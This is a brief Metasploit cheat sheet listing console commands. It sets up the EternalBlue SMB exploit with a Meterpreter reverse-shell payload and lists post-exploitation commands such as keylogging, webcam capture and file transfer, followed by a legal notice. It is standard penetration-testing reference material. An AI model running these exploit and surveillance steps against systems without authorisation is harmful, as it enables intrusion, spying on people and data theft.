

# Metasploit Framework Cheat Sheet

## Introduction to Metasploit

Metasploit is a penetration testing framework used to find, exploit, and validate vulnerabilities.

It comes pre-installed in Kali Linux.

## Starting Metasploit

`sudo service postgresql start` - Start PostgreSQL database

`msfdb init` - Initialize Metasploit DB (first time)

`msfconsole` - Launch Metasploit console

## Basic Commands

`search <name>` - Search for exploits/modules

`use <path>` - Select a module

`show options` - View required options for selected module

`set <OPTION> <value>` - Set target or payload options

`exploit` - Run the exploit

`sessions` - List active sessions

`background` - Send session to background

## Common Exploits & Payloads

`use exploit/windows/smb/ms17_010_eternalblue`

`set PAYLOAD windows/meterpreter/reverse_tcp`

`set RHOSTS <target_ip>`

`set LHOST <your_ip>`

`set LPORT <your_port>`

## Post-Exploitation Commands (Meterpreter)

`sysinfo` - Show system information

`getuid` - Get current user ID

`shell` - Drop into system shell

`screenshot` - Take screenshot

`webcam_snap` - Take webcam photo

`keyscan_start` - Start keylogging

`download/upload` - File transfer

## Metasploit Tips

`info` - Get detailed info about module

`help` - List all commands

`exit` - Quit Metasploit console

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## Legal Notice

Use Metasploit only in legal and ethical scenarios.

Unauthorized access or exploitation can result in legal consequences.